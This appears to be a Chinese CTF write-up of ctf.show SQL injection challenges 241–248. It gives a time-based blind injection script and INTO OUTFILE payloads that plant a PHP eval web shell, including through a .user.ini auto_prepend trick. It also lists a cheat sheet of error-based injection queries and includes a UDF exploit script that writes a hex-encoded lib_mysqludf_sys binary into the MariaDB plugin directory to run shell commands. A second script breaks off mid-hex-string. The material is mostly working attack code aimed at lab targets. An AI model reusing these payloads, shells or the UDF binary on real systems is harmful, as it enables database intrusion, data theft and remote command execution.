37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import time
import requests


url = "http://69a92f38-e63f-4686-82b2-5ee60a7ed353.challenge.ctf.show/api/delete.php"
# 表名 banlist,ctfshow_user,flag
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 列名 id,flag,info
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
# flag
payload = "select flag from flag"
condition = "ascii(mid(({}),{},1))>{}"


def valid_payload(p: str) -> bool:
data = {
"id": f"if({p},sleep(0.05),0)"
}
time_s = None
time_e = None
while True:
try:
time_s = time.time()
_ = requests.post(f"{url}", data=data)
time_e = time.time()
except:
continue
break
return time_e-time_s >= 0.9


index = 1
result = ""
print("I'm starting!")
while True:
start = 32
end = 127
while not(abs(start - end) == 1 or start == end):
mid = (start + end) // 2
if valid_payload(condition.format(payload, index, mid)):
start = mid
else:
end = mid
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
if chr(end) == "!" or chr(end)=="}":
break
index += 1
print(" Success! ")

时间盲注有天生的劣势,如果时间长了跑的不对,就一段一段跑,还有时间上也可以进行修改修改,0.9在本机上跑的非常好

into outfile

242

先看题

1
2
3
4
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

//无过滤

sql注入之outfile - 简书 (jianshu.com)

mysql注入之into outfile - FreeBuf网络安全行业门户

大致了解了一下 into outfile 这个东东

然后还有查了一下语法常用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name] //设置字符集
[export_options] //拓展选项

export_options: //具体拓展选项
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]

“OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

利用 export_options 插 shell

(STARTING BY 和 TERMINATED BY 都行 ,只要文件中存在就行)

payload

1
2
url/api/dump.php
filename=koishi.php'LINES STARTING BY "<?php eval($_POST[koishi]);?>";#

image-20220829215555881

上传成功后蚁剑连接url/dump/koishi.php

密码为 koishi

flag在 /flag.here

(我在本地上传shell的时候被火绒拦截了,怕在本地留后门,就没关杀毒软件,既然拦截了,就是正确了,懒得试了)

image-20220829220855299

243(多过滤了php,新姿势)

1
2
3
4
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

//过滤了php

payload

文件内容使用编码绕过就行了,文件后缀使用.user.ini

可供参考的资料:php中.user.ini究竟是个啥神秘东东?-php教程-PHP中文网

ini 文件中注释 ; 开头,这里用 starting by ‘;’ 注释掉原本的内容,后面的字符串前面加个换行就不影响了。(b477eRy师傅还是强啊orz)

1
filename=.user.ini' lines starting by ';' terminated by 0x0a0a6175746f5f70726570656e645f66696c653d736166652e6a70670a6175746f5f617070656e645f66696c653d736166652e6a7067; %23

16进制原字符串为:

1
2
3
4


auto_prepend_file=safe.jpg
auto_append_file=safe.jpg

使用这个的目的:参考文章:PHP中的auto_prepend_file和auto_append_file-php手册-PHP中文网

就是让ini文件去读取我们的 safe.jpg。

然后我们只需要再写入我们的jpg就行了

1
filename=safe.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b6b6f697368695d293b203f3e; %23

这里的16进制字符串原串是:

1
<?php eval($_POST[koishi]); ?>

之后

蚁剑连接 /dump/,flag 在 /flag.here

image-20220830095349947

image-20220830095414807

报错注入

知识学习

(37条消息) sql注入之报错注入_Dar1in9的博客-CSDN博客_报错注入

顺便在其他博客发现了这个好东西(下面的什么select user() 、 version()啥的可以换成其他想要执行的命令)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

244

1
2
3
4
//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//无过滤

基础的报错注入,直接上payload

写法1 –updatexml

测试

1
1' or updatexml('koishi',concat(0x2c,(select database())),'cirno');--+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 表名
# {"code":0,"msg":"XPATH syntax error: '|banlist,ctfshow_flag,ctfshow_us'","count":1,"data":[]}
1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23

# 列名
# {"code":0,"msg":"XPATH syntax error: '|id,flag,info'","count":1,"data":[]}
1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')),1) %23

(因为返回最多32个字符,所以我们要使用substr或者mid等分别查询)
# 字段值1
# {"code":0,"msg":"XPATH syntax error: '|ctfshow{eb2bbc9e-e1f1-41c1-aa6d'","count":1,"data":[]}
1' and updatexml(1,concat(0x7c,(select flag from ctfshow_flag)),1) %23

# 字段值2
# {"code":0,"msg":"XPATH syntax error: '|6d-be9c13942a09}'","count":1,"data":[]}
1' and updatexml(1,concat(0x7c,mid((select flag from ctfshow_flag),30,30)),1) %23

#最终拼起来就是ctfshow{eb2bbc9e-e1f1-41c1-aa6d-be9c13942a09}

写法2 –extractvalue

1
2
测试
1' or extractvalue(rand(),concat(0x2c,(select database())));--+

(rand()可以换成随便的字符)

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查表名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+

# 查列名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='ctfshow_flag')));--+

# 查数据--1
1' or extractvalue(rand(),concat(0x2c,(select group_concat(flag)from ctfshow_flag)));--+

# 查数据--2
1' or extractvalue(rand(),concat(0x2c,substr((select group_concat(flag)from ctfshow_flag),20,42)));--+

#拼接起来 ctfshow{eb2bbc9e-e1f1-41c1-aa6d-be9c13942a09}

245

过滤了updatexml,没啥好说的,换成上面的 extractvalue 就行

1
2
3
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//过滤updatexml

246(updatexml和extractvalue 被ban)

1
2
3
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//过滤updatexml extractvalue

floor注入

注入原理:Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户

payload(就是注意我们使用了floor,和concat,拿到的结果要去除最后一个数字(那是拼接上的floor))

1
2
3
4
5
6
7
8
9
10
11
12
# 查数据表
# {"code":0,"msg":"Duplicate entry 'ctfshow_flags1' for key 'group_key'","count":1,"data":[]}
1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23


# 查字段
# {"code":0,"msg":"Duplicate entry 'flag21' for key 'group_key'","count":1,"data":[]}
1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

# 查字段值
# {"code":0,"msg":"Duplicate entry 'ctfshow{8744ed07-7a96-49e9-b64c-89896a8f939c}1' for key 'group_key'","count":1,"data":[]}
1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

247(floor也无了)

1
2
3
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//过滤updatexml extractvalue floor

有过滤的报错注入,这次新增禁用 floor,还可以用 ceil 代替(和floor是反着来的,但是本质上利用floor的点没变,改floor为ceil即可)。

1
2
3
4
5
6
7
8
9
10
11
12
# 查数据表
# {"code":0,"msg":"Duplicate entry 'ctfshow_flagsa2' for key 'group_key'","count":1,"data":[]}
1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23


# 查字段(注意这里flag? 中有? 所以要用反引号包裹起来,免得被当成url处理了)
# {"code":0,"msg":"Duplicate entry 'flag?2' for key 'group_key'","count":1,"data":[]}
1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 3,1),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23

# 查字段值
# {"code":0,"msg":"Duplicate entry 'ctfshow{22489aed-e513-475e-96f5-985a6eaf43c0}2' for key 'group_key'","count":1,"data":[]}
1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a) %23

udf 注入

知识学习

参考文章: (37条消息) 【SQL注入】UDF提权命令执行_孤桜懶契的博客-CSDN博客_sqlmap udf提权

1 查看可操作路径

1
show global variables like "%secure%"

secure_file_priv值为null,表示mysql不允许导入导出,此时我们只能通过别的方法将udf.dll写入安装路径

2 查看plugin目录路径

1
select @@plugin_dir

这篇文章讲的肥肠清楚,这里只写了一点点

248

mysql的UAF注入,简单来说就是把dll文件写到目标机子的plugin目录,这个目录是可以通过select @@plugin_dir来得到的。

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';   //导入udf函数

题目

1
2
3
4
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

//无过滤
(测试发现还是有过滤的,有orand之类的,所以我们就用不了盲注等方法了。md狗比又不说waf,现在正常手段没用了)

看题目加上测试,发现存在堆叠注入

1
2
1';select version();#
# {"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"version()":"10.3.18-MariaDB"}]}

看一下可操作路径

1
1';show global variables like "%secure%";#

发现

{“Variable_name”:”secure_auth”,”Value”:”ON”},{“Variable_name”:”secure_file_priv”,”Value”:””},{“Variable_name”:”secure_timestamp”,”Value”:”NO”}]}

@@secure_file_priv: null不能写入文件,所以写木马的方式也失效了,要是能提权写文件就好了

接着看看plugin目录路径

{“@@plugin_dir”:”/usr/lib/mariadb/plugin/“}]}

目录/usr/lib/mariadb/plugin/

具体手操见上面学习文章中的步骤

这里放个脚本(靶机是linux的,url和文件目录根据需要进行修改)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests

url="http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/"
payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+"
acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+"
text = ['a','b','c','d']

udf="7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000"
udf_text=[]

for i in range(0,20000,5000):
end = i+5000
udf_text.append(udf[i:end])

p = dict(zip(text,udf_text))

for t in text:
param=payload.format(p[t],t)
get_url = url + param
res = requests.get(get_url)
print("[*]",end="")
code = res.status_code
print(code,end="")
if code==404:
print("你输入的URL可能出错")
acq=acquire.format(t)
data=url+acq
res = requests.get(url=data)
if "load_file" in res.text:
print("-->成功插入{}.txt".format(t))

print("[*]导入udf.so成功")
url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+"
res= requests.get(url=url+url_sys_dll)
print("[*]创建函数sys_eval()成功")
url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+"
res= requests.get(url=url+url_sys_function)

print("[*]命令执行结果: ")
sys_eval="?id=';select sys_eval('cat /flag.*')--+"
res= requests.get(url=url+sys_eval)
print(res.text)

还有另外的师傅写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

import requests

url = 'http://c4cfac67-eec1-4378-ac1b-75c52840f816.challenge.ctf.show:8080/api/?id='
code = '7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C004811000000000000000000000000000078000000